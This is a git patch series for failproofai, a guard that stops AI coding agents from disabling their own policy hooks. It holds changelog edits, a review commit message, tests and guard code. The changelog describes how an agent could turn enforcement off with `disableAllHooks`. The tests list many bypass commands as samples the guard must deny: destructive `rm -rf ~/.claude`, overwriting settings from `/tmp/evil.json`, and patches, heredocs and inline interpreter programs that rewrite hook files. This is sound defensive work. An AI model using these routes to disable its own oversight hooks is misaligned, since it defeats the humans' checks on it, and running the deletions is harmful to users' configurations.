@@ -5,6 +5,7 @@ ### Fixes - Release workflows now open the version-bump pull request themselves, using the job's own token, when the repository lets GitHub Actions create pull requests. When it does not, the run prints the pre-filled link as a warning and the release still succeeds. A re-run reuses an open bump pull request instead of opening a second one (#1052) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (FailproofAI/agenteye#1794) ## 1.0.16-beta.0 — 2026-11-24 @@ -15,7 +16,6 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (FailproofAI/agenteye#1794) ## 1.0.16-beta.0 — 2026-11-23 From cb51b5de5c88b4b60305f0db7aa4feb38993b1e9 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:58:38 +0530 Subject: [PATCH 09/89] Name the PR in the #1794 changelog entry Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ca6aea130..1ed7387fe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Fixes - Release workflows now open the version-bump pull request themselves, using the job's own token, when the repository lets GitHub Actions create pull requests. When it does not, the run prints the pre-filled link as a warning and the release still succeeds. A re-run reuses an open bump pull request instead of opening a second one (#1052) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (FailproofAI/agenteye#1794) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) ## 1.0.16-beta.0 — 2026-11-24 From 314623a37e0855099cd86ad0d6861cd507870608 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 16:19:56 +0530 Subject: [PATCH 10/89] [hooks] Read commands with one shell lexer; close the re-review's holes (#1794) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The second review pass found that round two's heredoc and quote handling opened holes, for ~/.failproofai too: - `<<` inside quotes, comments, here-strings or `$((1< … --output=` resolves under ``; `git config` counts only `-f `; `-c` code counts by what it runs. - `sed -l ` no longer becomes the script; awk print redirects skip string literals and comparisons before the print. - A `cd "$(dirname …)"` keeps its reach (substitution parentheses are not subshells, a main bug too), and a substitution holding a space stays one word. - Glued `python3 -c"…"` and backslash-continued interpreter programs. - Relocated settings get their siblings (`config.toml`, `settings.local.json`); shape-covered session files add no directory rule; `.github/hooks` is a protected directory only where failproofai's Copilot hooks live. Quoted messages mentioning `xargs` or `codex features disable hooks` stay messages. - Linear again: 20k quoted args 0.2 s (1.46 s in round two). Part of FailproofAI/agenteye#1794 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/settings-guard.test.ts | 127 ++++- src/hooks/agent-settings-guard.ts | 43 +- src/hooks/builtin-policies.ts | 755 ++++++++++++++++++------- 4 files changed, 702 insertions(+), 225 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1ed7387fe..f04e2b87d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Fixes - Release workflows now open the version-bump pull request themselves, using the job's own token, when the repository lets GitHub Actions create pull requests. When it does not, the run prints the pre-filled link as a warning and the release still succeeds. A re-run reuses an open bump pull request instead of opening a second one (#1052) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `$(…)`, heredocs), follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), `git rebase -x` and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) ## 1.0.16-beta.0 — 2026-11-24 diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts index 3a46dbfad..b4a09ce71 100644 --- a/__tests__/hooks/settings-guard.test.ts +++ b/__tests__/hooks/settings-guard.test.ts @@ -545,7 +545,6 @@ describe("block-failproofai-commands — agent settings, review round two", () = `gh pr create --title t --body "$(cat <<'EOF'\n## Summary\nBlocks edits to ~/.claude/settings.json and \`rm -rf ~/.claude\`\nEOF\n)"`, `git commit -m "Install\n\nWrites .codex/hooks.json; and rm -rf ~/.claude is refused"`, `git commit -m "Protect \\\`~/.claude/settings.json\\\` from agent edits"`, - `cat > docs/hooks.md <<'EOF'\nSee .github/hooks/failproofai.json\nrm -rf ~/.claude\nEOF`, `echo "a; rm -rf ~/.claude > ~/.claude/settings.json"`, // Git hooks kept in .github/hooks. `git config core.hooksPath .github/hooks`, @@ -564,6 +563,8 @@ describe("block-failproofai-commands — agent settings, review round two", () = expect(await bash(`git commit -m "$(rm ~/.claude/settings.json)"`)).toBe(true); expect(await bash(`cat <<'EOF' | sh\nrm -rf ~/.claude\nEOF`)).toBe(true); expect(await bash(`cat < /tmp/x.sh <<'EOF'\nrm -rf ~/.claude\nEOF\nbash /tmp/x.sh`)).toBe(true); }); it("no longer denies the state's own false positives from the same causes", async () => { @@ -585,6 +586,130 @@ describe("block-failproofai-commands — agent settings, review round two", () = }, 60_000); }); +/** + * The third review pass: holes the second round's heredoc and quote handling + * opened (for the state too), and the gaps it left. + */ +describe("block-failproofai-commands — review round three", () => { + function runIn(toolName: string, toolInput: Record, session: PolicyContext["session"]) { + const ctx: PolicyContext = { eventType: "PreToolUse", payload: {}, toolName, toolInput, session }; + return policy.fn(ctx); + } + const stateDenied = async (command: string) => { + const result = await run("Bash", { command }); + return result.decision === "deny" && /failproofai's own state/.test(result.reason ?? ""); + }; + + describe("a `<<` that is not a heredoc does not hide the lines after it", () => { + it.each([ + `cat <<< x\nrm -rf ~/.failproofai`, + `echo "< { + expect(await stateDenied(command)).toBe(true); + }); + + it.each([ + `echo $((1< { + expect(await bash(command)).toBe(true); + }); + }); + + describe("a heredoc whose body is used is read", () => { + it.each([ + `git apply <<'EOF'\n--- a/.claude/settings.json\n+++ b/.claude/settings.json\n@@ -1 +1 @@\n-{}\n+{"disableAllHooks":true}\nEOF`, + `patch -p1 <<'EOF'\n--- a/.claude/settings.json\n+++ b/.claude/settings.json\nEOF`, + `while read f; do cp /tmp/evil.json "$f"; done < { + expect(await bash(command)).toBe(true); + }); + + it.each([ + `xargs rm -rf <<'EOF'\n/home/u/.failproofai\nEOF`, + `cat > /tmp/x.sh <<'EOF'\nrm -rf ~/.failproofai\nEOF\nbash /tmp/x.sh`, + ])("state: denies %s", async (command) => { + expect(await stateDenied(command)).toBe(true); + }); + }); + + describe("gaps the second round left", () => { + it.each([ + `cp /tmp/evil.json ~/.claude/settings$( true ).json`, + "cp /tmp/evil.json ~/.claude/settings` true `.json", + `cd "$(dirname ~/.claude/settings.json)" && echo '{}' > settings.json`, + `python3 -c"import os; p=os.path.join(os.path.expanduser('~'),'.claude','settings.json'); open(p,'w')"`, + `python3 \\\n -c "import os; p=os.path.join(os.path.expanduser('~'),'.claude','settings.json'); open(p,'w')"`, + `git -C ~/.claude log -1 --output=settings.json`, + `git bundle create ~/.claude/settings.json HEAD`, + `sed -n -l 1 "w $HOME/.claude/settings.json" /tmp/evil.json`, + `git rebase -x 'cp /tmp/evil.json ~/.claude/settings.json' HEAD~1`, + `git submodule foreach 'cp /tmp/evil.json ~/.claude/settings.json'`, + `git -C ~/.claude switch evil`, + `git -C ~/.claude merge FETCH_HEAD`, + `git -C ~/.claude rebase evil`, + `git -C ~/.claude am /tmp/evil.mbox`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("no longer takes a trailing comment for the destination", async () => { + expect(await stateDenied("cp /dev/null ~/.failproofai/policies-config.json # reset")).toBe(true); + expect(await bash("cp /dev/null ~/.claude/settings.json # reset")).toBe(true); + }); + + it("protects config.toml beside a relocated Codex hooks file", async () => { + const session = { cwd: PROJ, agentSettingsPath: `${home}/.codex-work/hooks.json` }; + const result = await runIn("Write", { file_path: `${home}/.codex-work/config.toml`, content: "[features]\nhooks = false\n" }, session); + expect(result.decision).toBe("deny"); + }); + + it("protects .github/hooks as a directory only where failproofai's Copilot hooks live", async () => { + const withHooks = join(root, "copilot-proj"); + mkdirSync(join(withHooks, ".github", "hooks"), { recursive: true }); + writeFileSync(join(withHooks, ".github", "hooks", "failproofai.json"), "{}"); + expect(await bash("rm -rf .github/hooks", withHooks)).toBe(true); + const gitHooksOnly = join(root, "githooks-proj"); + mkdirSync(join(gitHooksOnly, ".github", "hooks"), { recursive: true }); + expect(await bashDecision("rm -rf .github/hooks", gitHooksOnly)).toBe("allow"); + }); + }); + + describe("false positives the second round added", () => { + it.each([ + `git commit -m "Deny xargs writes to .claude/settings.json"`, + `git commit -m "Refuse codex features disable hooks"`, + `git -c core.pager=cat log -p -- .claude/settings.json`, + `awk '$2 > 1 {print $1}' ~/.claude/settings.json`, + `git merge feature -m "notes about ~/.claude/settings.json"`, + `git stash push -m "before editing .claude/settings.json"`, + ])("allows %s", async (command) => { + expect(await bashDecision(command)).toBe("allow"); + }); + + it("allows pointing git's hooksPath at a Copilot install's directory", async () => { + const session = { cwd: PROJ, agentSettingsPath: `${PROJ}/.github/hooks/failproofai.json` }; + expect((await runIn("Bash", { command: "git config core.hooksPath .github/hooks" }, session)).decision).toBe("allow"); + }); + + it("still judges the state's merge message as a message", async () => { + expect(await bashDecision(`git merge feature -m "notes about ~/.failproofai"`)).toBe("allow"); + }); + }); + + it("stays linear on many quoted arguments", async () => { + // Deciding whether a quote's command was a shell copied the command's + // words at every quote: 20k quoted printf arguments took 1.46 s in the + // second round. One pass now; the bound leaves room for a slow runner. + const command = "printf '%s\\n' " + Array.from({ length: 40000 }, (_, i) => `'arg${i}'`).join(" "); + const started = performance.now(); + expect(await bashDecision(command)).toBe("allow"); + expect(performance.now() - started).toBeLessThan(3000); + }, 60_000); +}); + describe("agent-settings-guard helpers", () => { it("matches settings files anchored at the end, and config directories exactly", () => { expect(isAgentSettingsPath("/h/.claude/settings.json")).toBe(true); diff --git a/src/hooks/agent-settings-guard.ts b/src/hooks/agent-settings-guard.ts index 4f1c87186..2c0e0c9e5 100644 --- a/src/hooks/agent-settings-guard.ts +++ b/src/hooks/agent-settings-guard.ts @@ -30,7 +30,7 @@ * bundler rename that local (config-status.ts explains why that matters: the * audit cache in src/audit/cache.ts keys on each policy's source). */ -import { realpathSync } from "node:fs"; +import { existsSync, realpathSync } from "node:fs"; import { homedir } from "node:os"; import { basename, dirname, isAbsolute, join, normalize, relative, resolve } from "node:path"; @@ -318,7 +318,7 @@ export function agentSettingsWriteTarget( cwd: string | undefined, extraPaths: readonly string[] = [], ): string | null { - const extras = new Set(extraPaths.map((path) => resolve(path))); + const extras = new Set([...extraPaths.map((path) => resolve(path)), ...relocatedAgentSettings(extraPaths)]); let realTargets: Set | undefined; for (const raw of agentToolWritePaths(toolInput)) { const lexical = resolveAgentSettingsCandidate(raw, cwd); @@ -360,15 +360,20 @@ function agentSettingsWordForms(raw: string): string[] { * directory's agent links (a dotfiles checkout). A shell command reaching any of * them reaches the agent's settings. */ -function agentSettingsShellExtras(extraPaths: readonly string[]): { files: Set; dirs: Set } { +function agentSettingsShellExtras( + extraPaths: readonly string[], + cwd: string | undefined, +): { files: Set; dirs: Set } { const files = new Set(); const dirs = new Set(); const home = homedir(); - for (const path of extraPaths) { - const absolute = resolve(path); + for (const absolute of relocatedAgentSettings(extraPaths)) { files.add(absolute); dirs.add(dirname(absolute)); } + // `.github/hooks/` is protected as a directory only in a project that keeps + // failproofai's Copilot hooks there; elsewhere it is where git hooks live. + if (cwd && existsSync(join(cwd, ".github", "hooks", "failproofai.json"))) dirs.add(join(resolve(cwd), ".github", "hooks")); for (const relativePath of HOME_AGENT_SETTINGS_FILES) { const lexical = join(home, relativePath); try { @@ -390,6 +395,27 @@ function agentSettingsShellExtras(extraPaths: readonly string[]): { files: Set boolean { - const extras = agentSettingsShellExtras(extraPaths); +export function agentSettingsShellNamer(extraPaths: readonly string[], cwd?: string): (text: string) => boolean { + const extras = agentSettingsShellExtras(extraPaths, cwd); const textForms = [ ...[...extras.files].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, false))), ...[...extras.dirs].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, true))), @@ -530,8 +556,7 @@ function underEveryAgentSettingsHome(paths: readonly string[]): string[] { */ export function agentSettingsGlobCandidates(cwd: string | undefined, extraPaths: readonly string[] = []): string[] { const candidates = [...PROJECT_AGENT_SETTINGS_GLOB_PATHS, ...underEveryAgentSettingsHome(HOME_AGENT_SETTINGS_GLOB_PATHS)]; - for (const path of extraPaths) { - const absolute = resolve(path); + for (const absolute of relocatedAgentSettings(extraPaths)) { candidates.push(...withAgentSettingsHomeForm(absolute), ...withAgentSettingsHomeForm(dirname(absolute))); } if (cwd && isAgentConfigDirPath(cwd)) { diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 31f27c1d4..9a60eaf5a 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -635,18 +635,67 @@ const SAFE_EXEC_COMMANDS = new Set([ * .failproofai` deletes the directory as thoroughly as `rm -rf` does. * * The second row moves or rewrites files too: `git mv .claude/settings.json x` - * takes an agent's hooks away, `git -C ~/.claude pull` replaces them with - * whatever the remote holds, `git apply` writes whatever its patch says, and - * `git config -f ` writes INI into any file it is pointed at. Like the - * first row, these only count when the command already names a protected path. - * Subcommands that take a message (`merge`, `revert`, `cherry-pick`) are left - * out: their message is prose, and naming a path in it is not a write. + * takes an agent's hooks away, `git -C ~/.claude pull` or `merge` or `switch` + * replaces them with whatever another branch holds, `git apply` writes whatever + * its patch says, and `git bundle create ` writes the file it is given. + * These count only when an OPERAND names a protected path, the repository + * (`-C`) is one, or the shell stands in one — never a message: `git merge + * feature -m "notes about ~/.failproofai"` writes nothing there. */ const GIT_DESTRUCTIVE_SUBCOMMANDS = new Set([ "clean", "rm", "restore", "checkout", "reset", "stash", - "mv", "pull", "apply", "config", + "mv", "pull", "apply", "merge", "switch", "rebase", "am", "cherry-pick", "revert", "bundle", ]); +/** + * The options whose value is a message (or a parent number), per destructive + * subcommand. Per subcommand because `-m` means something else elsewhere: + * `--merge` to `checkout`, `switch`, `restore` and `rebase`, `--message-id` + * to `am` — skipping its "value" there would skip the path. + */ +const GIT_MESSAGE_OPTIONS: Readonly>> = { + merge: new Set(["-m", "--message", "-F", "--file"]), + stash: new Set(["-m", "--message"]), + revert: new Set(["-m", "--mainline"]), + "cherry-pick": new Set(["-m", "--mainline"]), +}; + +/** + * Whether one of a git command's OPERANDS names the target: messages and + * config values skipped, `-C`'s repository kept. Once quotes are gone (the + * unescaped pass) a message is no longer one word, so it runs to the next + * option instead. + */ +function gitOperandsNameTarget( + gitWords: string[], + subcommand: string, + names: (text: string) => boolean, + quoted: boolean, +): boolean { + const messageOptions = GIT_MESSAGE_OPTIONS[subcommand] ?? new Set(); + for (let i = 1; i < gitWords.length; i++) { + const word = gitWords[i]; + if (word === "-c" || word === "--config-env") { + i++; + continue; + } + if (messageOptions.has(word)) { + i++; + if (!quoted) while (i + 1 < gitWords.length && !gitWords[i + 1].startsWith("-")) i++; + continue; + } + if (messageOptions.size > 0 && (/^--(?:message|file|mainline)=/.test(word) || /^-m./.test(word))) continue; + if (names(word)) return true; + } + return false; +} + +/** The repository a git command runs in, from `-C `, when the text says. */ +function gitRepositoryDir(gitWords: string[]): string | undefined { + const at = gitWords.indexOf("-C"); + return at === -1 ? undefined : cdDestination(undefined, gitWords[at + 1]); +} + /** * `git -c` settings that make git run a command: an alias beginning `!`, a * pager, an editor, an ssh command, a filter or diff driver, a credential @@ -1200,6 +1249,7 @@ function simpleCommandDestroys( namesState: (text: string) => boolean, target: ProtectedPathTarget, rawSimple: string, + cwdInTarget = false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); @@ -1266,7 +1316,12 @@ function simpleCommandDestroys( // `print > ARGV[1]` writes a file the program names only at run time, so // the redirect scan finds nothing to read. A program that prints AND holds // a `>` is treated as writing; a comparison beside a print is the cost. - return quoteAwareWords(rawSimple).some((w) => /\bprintf?\b/.test(w) && />(?!=)/.test(w)); + // String literals come out first, so a `}` or a `>` inside one neither ends + // the statement nor counts as a redirect; a comparison BEFORE the print + // (`$2 > 1 {print $1}`) is not one either. + return quoteAwareWords(rawSimple).some((w) => + /\bprintf?\b[^;}\n]*>/.test(w.replace(/"(?:[^"\\]|\\.)*"/g, '""')), + ); } // `rg --pre ` runs a command over every file it searches. @@ -1308,20 +1363,38 @@ function simpleCommandDestroys( // `git` normally carries the path as prose in a message or a body. if (head === "git") { const subcommand = gitSubcommand(args); + const gitWords = quoteAwareCommandWords(rawSimple).words; + // A relative output path lands in the repository `-C` names. + const repository = gitRepositoryDir(gitWords); + const namesInRepository = (text: string): boolean => + namesState(text) || (repository !== undefined && isRelativeShellWord(text) && namesState(resolve(repository, text))); // Output files, whatever the subcommand: `git log --output=` writes // what `--format` says into it, and `-o` is the archive's or the patches'. - if (writesViaOutputFlag("git", args, namesState)) return true; - if ((subcommand === "archive" || subcommand === "format-patch") && writesViaOutputFlag("git", args, namesState, ["-o"])) { + if (writesViaOutputFlag("git", args, namesInRepository)) return true; + if ((subcommand === "archive" || subcommand === "format-patch") && writesViaOutputFlag("git", args, namesInRepository, ["-o"])) { return true; } - if (args.some((a, i) => (args[i - 1] === "-c" || args[i - 1] === "--config-env") && GIT_CONFIG_RUNS_CODE_RE.test(a))) { + // Config that runs a command, judged by what it runs: `alias.x='!rm …'` + // is a deleter, `core.pager=cat` is not. + if (gitWords.some((w, i) => (gitWords[i - 1] === "-c" || gitWords[i - 1] === "--config-env") && GIT_CONFIG_RUNS_CODE_RE.test(w) && namesState(w))) { return true; } + // Subcommands that run a command of their own, with nothing to say what it touches. + if (subcommand === "rebase" && args.some((a) => a === "-x" || a === "--exec" || a.startsWith("--exec=") || /^-(?!-)[A-Za-z]*x/.test(a))) { + return true; + } + if ((subcommand === "submodule" && args.includes("foreach")) || (subcommand === "bisect" && args.includes("run"))) return true; + // `git config` writes `.git/config`; only `-f ` writes elsewhere. + if (subcommand === "config") { + return gitWords.some((w, i) => ((gitWords[i - 1] === "-f" || gitWords[i - 1] === "--file") && namesInRepository(w)) || + (w.startsWith("--file=") && namesInRepository(w.slice("--file=".length)))); + } // `restore --staged` alone touches the index, never the file on disk. const staged = args.some((a) => a === "--staged" || /^-(?!-)[A-Za-z]*S/.test(a)); const worktree = args.some((a) => a === "--worktree" || /^-(?!-)[A-Za-z]*W/.test(a)); if (subcommand === "restore" && staged && !worktree) return false; - return subcommand !== undefined && GIT_DESTRUCTIVE_SUBCOMMANDS.has(subcommand); + if (subcommand === undefined || !GIT_DESTRUCTIVE_SUBCOMMANDS.has(subcommand)) return false; + return cwdInTarget || gitOperandsNameTarget(gitWords, subcommand, namesInRepository, /['"]/.test(rawSimple)); } // A reader whose destination arrives as an option rather than as an operand. @@ -1419,7 +1492,7 @@ const AGENT_SETTINGS_HARMLESS_COMMANDS: ReadonlySet = new Set(["mkdir", * no shape describes (a config directory moved by `CLAUDE_CONFIG_DIR`). */ function agentSettingsShellTarget(cwd: string | undefined, extraPaths: readonly string[]): ProtectedPathTarget { - const namer = agentSettingsShellNamer(extraPaths); + const namer = agentSettingsShellNamer(extraPaths, cwd); return { namesLiteral: namer, namesProgram: (program) => namer(program) || programNamesAgentSettings(program), @@ -1432,10 +1505,11 @@ function agentSettingsShellTarget(cwd: string | undefined, extraPaths: readonly /** Interpreters that take a program inline or on stdin. Never readers. */ const INLINE_INTERPRETERS = "python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl|ruby|php|lua|osascript|pwsh|powershell"; +const INLINE_INTERPRETER_RE = new RegExp(`^(?:${INLINE_INTERPRETERS})$`); /** * A program handed to an interpreter on its command line: `python3 -c "…"`, - * `node -e '…'`, `perl -pe '…'`, `deno eval "…"`. + * `node -e '…'`, `perl -pe '…'`, `deno eval "…"`, glued (`-c"…"`) or not. * * The program is not shell, but the walk splits it like shell — on every `;` — * so `python3 -c "import json; p=''; json.dump(d, open(p,'w'))"` left the @@ -1445,199 +1519,420 @@ const INLINE_INTERPRETERS = "python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl * target anywhere in its program is enough. * * Bounded on purpose: at most six words between the interpreter and its flag, - * all on one line. An unbounded gap re-scanned the rest of the input for every - * interpreter-shaped word in it, which on a long line of prose cost seconds. + * all on one line (a backslash-newline is joined first). An unbounded gap + * re-scanned the rest of the input for every interpreter-shaped word. */ const INLINE_PROGRAM_RE = new RegExp( - String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})(?:[ \t]+[^\s;&|]+){0,6}?[ \t]+(?:-[A-Za-z]*[ceErp]|--eval|--print|--command|-Command|eval)[ \t]+("(?:[^"\\]|\\.)*"|'[^']*'|\$'(?:[^'\\]|\\.)*')`, + String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})(?:[ \t]+[^\s;&|]+){0,6}?[ \t]+(?:-[A-Za-z]*[ceErp]|--eval=?|--print=?|--command=?|-Command|eval)[ \t]*("(?:[^"\\]|\\.)*"|'[^']*'|\$'(?:[^'\\]|\\.)*')`, "g", ); -/** A word that starts an interpreter, on a line whose quoted text is blanked. */ -const INTERPRETER_WORD_RE = new RegExp(String.raw`(?:^|[\s|;&(\x60])(?:\S*/)?(?:${INLINE_INTERPRETERS})(?=[\s|;&)]|$)`); +/** Heads that run their quoted arguments, or a heredoc, as shell. */ +const SHELL_HEADS: ReadonlySet = new Set([ + "sh", "bash", "zsh", "dash", "ksh", "ash", "fish", "eval", "source", ".", "su", + "ssh", "docker", "podman", "kubectl", "watch", +]); + +/** Words a shell walks past before the command that receives the arguments. */ +const MASK_TRANSPARENT_WORDS: ReadonlySet = new Set([ + "sudo", "doas", "env", "nohup", "time", "timeout", "nice", "stdbuf", "setsid", "command", "builtin", + "exec", "xargs", "then", "do", "else", "elif", "if", "while", "until", "!", +]); + +/** Characters that steer the walk and mean nothing to the shell inside a quoted argument. */ +const MASKABLE_IN_QUOTES = "\n\r;&|<>()"; + +/** One command context: the top level, a `$(…)`, a backtick or a `( … )` subshell. */ +interface LexCommandFrame { + kind: "cmd"; + /** What closes it: `)` for `$(` and `(`, a backtick for a backtick, nothing for the top level. */ + closer: ")" | "`" | null; + /** Opened by `$(` or a backtick: its output is spliced into the command around it. */ + substitution: boolean; + /** The current simple command's head, once its first real word is read. */ + head: string | null; + /** The current simple command's words so far (the first few). */ + words: string[]; + word: string; +} -/** A word that starts a shell, which reads a heredoc as commands. */ -const SHELL_WORD_RE = /(?:^|[\s|;&(`])(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish|eval|source|ssh|docker|podman|kubectl)(?=[\s|;&)]|$)/; +interface 